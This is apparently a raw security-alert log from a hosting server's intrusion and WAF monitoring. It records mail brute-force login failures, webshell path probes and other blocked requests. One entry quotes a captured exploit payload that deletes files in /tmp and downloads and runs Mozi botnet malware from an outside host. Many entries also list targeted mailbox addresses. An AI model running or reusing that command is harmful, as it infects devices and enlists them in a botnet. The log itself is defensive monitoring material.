name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 189.62.10.13
country_id: 3469034
domain: rcct.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:45959.rcct.my||ServerName:rcct.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:dc45d7a1aabd5572262a7b73cf5be507e59d944e||Title:0xf17345c2||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 09:19:01 dovecot_login authenticator failed for H=(CrwvWByx) [158.94.208.175]:54379: 535 Incorrect authentication data (set_id=suffian)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 146.70.146.50
country_id: 2782113
description:
2026-02-01 09:19:01 dovecot_login authenticator failed for H=(2UEu8ZQ1) [146.70.146.50]:57714: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 09:19:10 dovecot_login authenticator failed for H=(7ed2SVAYBM) [178.16.54.22]:49717: 535 Incorrect authentication data (set_id=plsu.fpp)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.92.201.254
country_id: 1814991
description:
2026-02-01 09:20:29 dovecot_login authenticator failed for H=([218.92.201.232]) [218.92.201.254]:19311: 535 Incorrect authentication data (set_id=info@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.179.87.204
country_id: 1814991
description:
2026-02-01 09:20:42 dovecot_login authenticator failed for H=([220.179.87.204]) [220.179.87.204]:51445: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.79.52.114
country_id: 1269750
description:
2026-02-01 09:20:59 dovecot_login authenticator failed for H=(nsg-corporate-255.223.187.122.airtel.in) [182.79.52.114]:53076: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.165.172.38
country_id: 1835841
description:
2026-02-01 09:20:13 dovecot_login authenticator failed for H=([221.165.172.38]) [221.165.172.38]:35844: 535 Incorrect authentication data (set_id=admin@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 09:20:27 dovecot_login authenticator failed for H=(odG1B4) [178.16.54.22]:63752: 535 Incorrect authentication data (set_id=contact)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 123.212.9.122
country_id: 1835841
description:
2026-02-01 09:20:47 dovecot_login authenticator failed for H=([123.212.9.122]) [123.212.9.122]:34973: 535 Incorrect authentication data (set_id=jobstore.comchew@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.118.162.194
country_id: 2453866
description:
2026-02-01 09:20:59 dovecot_login authenticator failed for H=([154.118.162.194]) [154.118.162.194]:21673: 535 Incorrect authentication data (set_id=jobstore.comchew)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.30.161.197
country_id: 690791
description:
2026-02-01 09:21:49 dovecot_login authenticator failed for H=(46.30.161.197.access.ipnet.ua) [46.30.161.197]:52826: 535 Incorrect authentication data (set_id=support@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.19.163.150
country_id: 1269750
description:
2026-02-01 09:21:54 dovecot_login authenticator failed for H=(nsg-corporate-193.168.185.122.airtel.in) [125.19.163.150]:58904: 535 Incorrect authentication data (set_id=www.facebook.comrnd)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 09:21:07 dovecot_login authenticator failed for H=(DuggLEX) [178.16.54.22]:57376: 535 Incorrect authentication data (set_id=plsu.fpp)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 09:21:33 dovecot_login authenticator failed for H=(N4bdJ4Vy0) [178.16.54.22]:54689: 535 Incorrect authentication data (set_id=contact)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 09:21:05 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:46444: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 87.117.32.22
country_id: 2017370
description:
2026-02-01 09:21:03 dovecot_login authenticator failed for H=(22.32.117.87.donpac.ru) [87.117.32.22]:58328: 535 Incorrect authentication data (set_id=jobstore.comchew@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 09:21:12 dovecot_login authenticator failed for H=(btb2zdZ) [158.94.208.175]:56742: 535 Incorrect authentication data (set_id=suffian)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 46.151.182.161
country_id: 2750405
description:
2026-02-01  9:21:32 212912 [Warning] Aborted connection 212912 to db: 'unconnected' user: 'unauthenticated' host: '46.151.182.161' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.131.220.152
country_id: 1835841
description:
2026-02-01 09:21:45 dovecot_login authenticator failed for H=([121.131.220.152]) [121.131.220.152]:37058: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 109.233.21.109
country_id: 272103
description:
2026-02-01 09:21:10 dovecot_login authenticator failed for H=([109.233.21.109]) [109.233.21.109]:32896: 535 Incorrect authentication data (set_id=jobstore.comchew)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 09:22:18 dovecot_login authenticator failed for H=(ohvNpZB) [178.16.54.22]:52757: 535 Incorrect authentication data (set_id=contact)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 09:22:21 dovecot_login authenticator failed for H=(8qBZ8JdRE) [158.94.208.175]:59257: 535 Incorrect authentication data (set_id=suffian)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 09:22:25 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:64412: 535 Incorrect authentication data (set_id=testing@acburn.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 60.174.86.4
country_id: 1814991
description:
2026-02-01 09:22:30 dovecot_login authenticator failed for H=([60.174.86.4]) [60.174.86.4]:42648: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.61.87.70
country_id: 1814991
description:
2026-02-01 09:22:44 dovecot_login authenticator failed for H=([111.61.87.70]) [111.61.87.70]:50136: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 09:23:05 dovecot_login authenticator failed for H=(18qgQ8Iv) [178.16.54.22]:60213: 535 Incorrect authentication data (set_id=contact)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 190.67.106.221
country_id: 3686110
description:
2026-02-01 09:23:09 dovecot_login authenticator failed for H=([190.67.106.221]) [190.67.106.221]:33676: 535 Incorrect authentication data (set_id=ysl@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.18.99.38
country_id: 1269750
description:
2026-02-01 09:23:18 dovecot_login authenticator failed for H=([125.18.99.38]) [125.18.99.38]:47354: 535 Incorrect authentication data (set_id=ysl)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.22.187.66
country_id: 1814991
description:
2026-02-01 09:23:48 dovecot_login authenticator failed for H=([218.22.187.69]) [218.22.187.66]:38752: 535 Incorrect authentication data (set_id=zainuddin@astlog.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 112.161.26.125
country_id: 1835841
description:
2026-02-01 09:23:50 dovecot_login authenticator failed for H=([112.161.26.125]) [112.161.26.125]:48060: 535 Incorrect authentication data (set_id=amir)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.134.31.193
country_id: 1835841
description:
2026-02-01 09:24:00 dovecot_login authenticator failed for H=([121.134.31.193]) [121.134.31.193]:58995: 535 Incorrect authentication data (set_id=zainuddin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 09:23:02 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:50300: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 38.226.118.0
country_id: 3469034
description:
2026-02-01 09:23:37 dovecot_login authenticator failed for H=([38.226.118.9]) [38.226.118.0]:48792: 535 Incorrect authentication data (set_id=amir@essemgroup.net)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 09:23:44 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:55645: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 09:23:11 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:39128: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 09:24:04 dovecot_login authenticator failed for H=(AnTjKfU2w) [158.94.208.175]:51334: 535 Incorrect authentication data (set_id=suffian)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 09:24:06 dovecot_login authenticator failed for H=(9sPdxGn0) [178.16.54.22]:55857: 535 Incorrect authentication data (set_id=daniel)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.61.97.5
country_id: 1814991
description:
2026-02-01 09:24:41 dovecot_login authenticator failed for H=([111.61.97.5]) [111.61.97.5]:15896: 535 Incorrect authentication data (set_id=admin@mkmetal.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.139.107.146
country_id: 1269750
description:
2026-02-01 09:24:52 dovecot_login authenticator failed for H=([14.139.107.146]) [14.139.107.146]:50254: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.184.106.215
country_id: 953987
description:
2026-02-01 09:24:08 dovecot_plain authenticator failed for H=(Q171B58071) [197.184.106.215]:35669: 535 Incorrect authentication data (set_id=garylee@autogreastar.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 09:25:12 dovecot_login authenticator failed for H=(Q8w4F4N7w) [178.16.54.22]:53880: 535 Incorrect authentication data (set_id=daniel)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 09:25:19 dovecot_login authenticator failed for H=(vQY5qvC3) [158.94.208.175]:58453: 535 Incorrect authentication data (set_id=suffian)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 09:25:22 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:51644: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: modsec
rule: 77316728
name: IM360 WAF: Netgear unauthenticated RCE
abuser: 223.123.43.2
country_id: 1168579
description:
IM360 WAF: Netgear unauthenticated RCE||RSV:7.71||T:APACHE||MVN:ARGS:cmd||MV:rm -rf /tmp/*;wget http://223.123.43.2:60292/Mozi.m -O /tmp/netgear;sh netgear||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 09:26:17 dovecot_login authenticator failed for H=(3XkngMQ) [178.16.54.22]:50932: 535 Incorrect authentication data (set_id=daniel)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 60.174.86.4
country_id: 1814991
description:
2026-02-01 09:26:59 dovecot_login authenticator failed for H=([60.174.86.4]) [60.174.86.4]:42089: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 60.172.230.184
country_id: 1814991
description:
2026-02-01 09:26:26 dovecot_login authenticator failed for H=([60.172.230.184]) [60.172.230.184]:55191: 535 Incorrect authentication data (set_id=info@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 09:26:27 dovecot_login authenticator failed for H=(Lic4tf) [158.94.208.175]:53564: 535 Incorrect authentication data (set_id=suffian)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 91.72.153.110
country_id: 290557
description:
2026-02-01 09:27:47 dovecot_login authenticator failed for H=([91.72.153.110]) [91.72.153.110]:38391: 535 Incorrect authentication data (set_id=info@mkmetal.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.182.99.92
country_id: 1655842
description:
2026-02-01 09:27:58 dovecot_login authenticator failed for H=([183.182.99.92]) [183.182.99.92]:49029: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 09:27:01 dovecot_login authenticator failed for H=(RgURmdsC) [158.94.208.175]:58187: 535 Incorrect authentication data (set_id=suffian)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 09:27:07 dovecot_login authenticator failed for H=(AqSoOn2) [178.16.54.22]:63450: 535 Incorrect authentication data (set_id=contact)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 5.248.231.93
country_id: 690791
domain: www.cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cabe.com.my/product-detail.php?id=635255 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 09:27:28 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:43994: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 09:27:32 dovecot_login authenticator failed for H=(sLIStI) [178.16.54.22]:51053: 535 Incorrect authentication data (set_id=daniel)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 09:28:09 dovecot_login authenticator failed for H=(FJI77Kt5) [178.16.54.22]:53507: 535 Incorrect authentication data (set_id=daniel)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 88.13.139.61
country_id: 2510769
description:
2026-02-01 09:29:00 dovecot_login authenticator failed for H=61.red-88-13-139.dynamicip.rima-tde.net [88.13.139.61]:57653: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 09:28:15 dovecot_login authenticator failed for H=(GxHiqizJ) [158.94.208.175]:54647: 535 Incorrect authentication data (set_id=suffian@pspoly.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.123.111.114
country_id: 1269750
description:
2026-02-01 09:28:48 dovecot_login authenticator failed for H=([128.185.223.219]) [27.123.111.114]:35944: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 46.151.182.161
country_id: 2750405
description:
2026-02-01  9:29:13 213264 [Warning] Aborted connection 213264 to db: 'unconnected' user: 'unauthenticated' host: '46.151.182.161' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 09:29:20 dovecot_login authenticator failed for H=(I8oWos) [178.16.54.22]:58897: 535 Incorrect authentication data (set_id=contact)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 09:29:37 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:35242: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 09:29:52 dovecot_login authenticator failed for H=(cKEJHonR9N) [158.94.208.175]:63070: 535 Incorrect authentication data (set_id=suffian@pspoly.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.144.243.93
country_id: 2542007
description:
2026-02-01 09:29:13 dovecot_login authenticator failed for H=([154.144.243.93]) [154.144.243.93]:52110: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.143.119
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/residential/img/photos/img/photos/luxury-interior-design-service-malaysia.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 09:30:10 dovecot_login authenticator failed for H=(IlVGELpi3) [178.16.54.22]:60842: 535 Incorrect authentication data (set_id=contact)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 09:30:25 dovecot_login authenticator failed for H=(i1y1MaHEv) [158.94.208.175]:64144: 535 Incorrect authentication data (set_id=suffian@pspoly.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 09:31:28 dovecot_login authenticator failed for H=(Of8nAMx) [158.94.208.175]:63429: 535 Incorrect authentication data (set_id=suffian@pspoly.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 09:31:41 dovecot_login authenticator failed for H=(KkmrPgA) [178.16.54.22]:59101: 535 Incorrect authentication data (set_id=daniel)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.173.156.68
country_id: 1814991
description:
2026-02-01 09:31:07 dovecot_login authenticator failed for H=([61.173.156.68]) [61.173.156.68]:5550: 535 Incorrect authentication data (set_id=amir@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.185.178.70
country_id: 1269750
description:
2026-02-01 09:31:18 dovecot_login authenticator failed for H=([182.79.95.167]) [122.185.178.70]:58864: 535 Incorrect authentication data (set_id=amir)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 09:31:19 dovecot_login authenticator failed for H=(4Py3WCp) [178.16.54.22]:62055: 535 Incorrect authentication data (set_id=plsu.fpp@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 09:31:44 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:55384: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 09:32:23 dovecot_login authenticator failed for H=(htXjqsQ8r6) [178.16.54.22]:52045: 535 Incorrect authentication data (set_id=plsu.fpp@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 24.187.213.29
country_id: 6252001
description:
2026-02-01 09:32:25 dovecot_plain authenticator failed for H=(larchromy) [24.187.213.29]:53084: 535 Incorrect authentication data (set_id=garylee@autogreastar.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.185.176.126
country_id: 1269750
description:
2026-02-01 09:32:40 dovecot_login authenticator failed for H=([27.123.119.235]) [122.185.176.126]:48764: 535 Incorrect authentication data (set_id=jobstore.comchew@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.185.231.6
country_id: 1269750
description:
2026-02-01 09:32:49 dovecot_login authenticator failed for H=([128.185.231.6]) [128.185.231.6]:41934: 535 Incorrect authentication data (set_id=jobstore.comchew)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 37.57.69.227
country_id: 690791
description:
2026-02-01 09:32:56 dovecot_login authenticator failed for H=(227.69.57.37.triolan.net) [37.57.69.227]:53195: 535 Incorrect authentication data (set_id=tw.lee@figofoods.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 41.200.36.136
country_id: 2589581
domain: task.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/task.visoft.com.my/vendor/phpoffice/phpexcel/Classes/PHPExcel/Reader/DefaultReadFilter.php HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 09:33:26 dovecot_login authenticator failed for H=(7oYcxnF3TN) [158.94.208.175]:62850: 535 Incorrect authentication data (set_id=suffian@pspoly.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 09:33:55 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:51912: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 09:33:03 dovecot_login authenticator failed for H=(AClnga) [178.16.54.22]:53550: 535 Incorrect authentication data (set_id=plsu.fpp@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 58.49.113.138
country_id: 1814991
description:
2026-02-01 09:33:13 dovecot_login authenticator failed for H=(www.safecleen.com) [58.49.113.138]:17091: 535 Incorrect authentication data (set_id=tw.lee)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 09:34:09 dovecot_login authenticator failed for H=(cesHb0v4Hf) [178.16.54.22]:58999: 535 Incorrect authentication data (set_id=plsu.fpp@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 09:34:36 dovecot_login authenticator failed for H=(JOOAVyxCu) [158.94.208.175]:53112: 535 Incorrect authentication data (set_id=suffian@pspoly.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.140.4
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/index.php/images/img/photos/index.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.223.152.94
country_id: 1269750
description:
2026-02-01 09:35:10 dovecot_login authenticator failed for H=(static.bb.vda.117.223.152.94.bsnl.in) [117.223.152.94]:46634: 535 Incorrect authentication data (set_id=info@mkmetal.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 09:35:11 dovecot_login authenticator failed for H=(QWmHSw) [158.94.208.175]:63587: 535 Incorrect authentication data (set_id=suffian@pspoly.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 09:35:17 dovecot_login authenticator failed for H=(ZbrZERrr) [178.16.54.22]:64222: 535 Incorrect authentication data (set_id=daniel)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 09:35:45 dovecot_login authenticator failed for H=(iQysoMMe) [178.16.54.22]:53108: 535 Incorrect authentication data (set_id=daniel)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.42.113.10
country_id: 1814991
description:
2026-02-01 09:35:38 dovecot_login authenticator failed for H=([182.42.113.10]) [182.42.113.10]:36291: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 85.19.195.12
country_id: 3144096
description:
2026-02-01 09:35:38 dovecot_login authenticator failed for H=([85.19.195.12]) [85.19.195.12]:59818: 535 Incorrect authentication data (set_id=admin@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.248.4.85
country_id: 1269750
description:
2026-02-01 09:35:31 dovecot_login authenticator failed for H=([115.248.4.85]) [115.248.4.85]:61000: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 83.239.84.130
country_id: 2017370
description:
2026-02-01 09:35:11 dovecot_login authenticator failed for H=([83.239.84.130]) [83.239.84.130]:59420: 535 Incorrect authentication data (set_id=admin@stonewld.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.129.75.178
country_id: 1835841
description:
2026-02-01 09:36:09 dovecot_login authenticator failed for H=([121.129.75.178]) [121.129.75.178]:57667: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 09:36:21 dovecot_login authenticator failed for H=(aDipnJ3Bo5) [178.16.54.22]:52716: 535 Incorrect authentication data (set_id=daniel)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 190.117.96.174
country_id: 3932488
description:
2026-02-01 09:36:37 dovecot_login authenticator failed for H=([190.117.96.174]) [190.117.96.174]:45166: 535 Incorrect authentication data (set_id=aziz)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 09:36:02 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:47020: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.120.50
country_id: 1269750
description:
2026-02-01 09:36:06 dovecot_login authenticator failed for H=(nsg-static-89.234.75.182-airtel.com) [182.95.120.50]:57668: 535 Incorrect authentication data (set_id=aziz@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.230.227
country_id: 1269750
description:
2026-02-01 09:36:20 dovecot_login authenticator failed for H=([122.187.230.227]) [122.187.230.227]:37338: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.147.10.33
country_id: 1694008
description:
2026-02-01 09:36:23 dovecot_login authenticator failed for H=([115.147.10.33]) [115.147.10.33]:55584: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.155.44
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/commercial/images/img/photos/images/commercial.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 09:37:20 dovecot_login authenticator failed for H=(aif20OUP) [178.16.54.22]:62594: 535 Incorrect authentication data (set_id=plsu.fpp@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 94.198.134.241
country_id: 2017370
description:
2026-02-01 09:37:34 dovecot_login authenticator failed for H=(host-94.198.134.241.vernet.su) [94.198.134.241]:59720: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.29.185.162
country_id: 1643084
description:
2026-02-01 09:37:52 dovecot_login authenticator failed for H=(ip-103-29-185-162.pascalwave.com) [103.29.185.162]:37832: 535 Incorrect authentication data (set_id=mail.urban.myexport)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 09:38:06 dovecot_login authenticator failed for H=(BKlLxZl) [178.16.54.22]:55562: 535 Incorrect authentication data (set_id=daniel)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 09:38:07 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:41736: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.174.34.49
country_id: 1269750
description:
2026-02-01 09:38:09 dovecot_login authenticator failed for H=([103.174.34.49]) [103.174.34.49]:59148: 535 Incorrect authentication data (set_id=support@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.129.225.4
country_id: 1269750
description:
2026-02-01 09:38:51 dovecot_login authenticator failed for H=([203.129.225.4]) [203.129.225.4]:60574: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 09:38:47 dovecot_login authenticator failed for H=(JXvI4hYh) [158.94.208.175]:49772: 535 Incorrect authentication data (set_id=suffian@pspoly.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.178.185.141
country_id: 1835841
description:
2026-02-01 09:39:39 dovecot_login authenticator failed for H=([121.178.185.141]) [121.178.185.141]:39024: 535 Incorrect authentication data (set_id=support@manforce.net)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.54.22
country_id: 2750405
description:
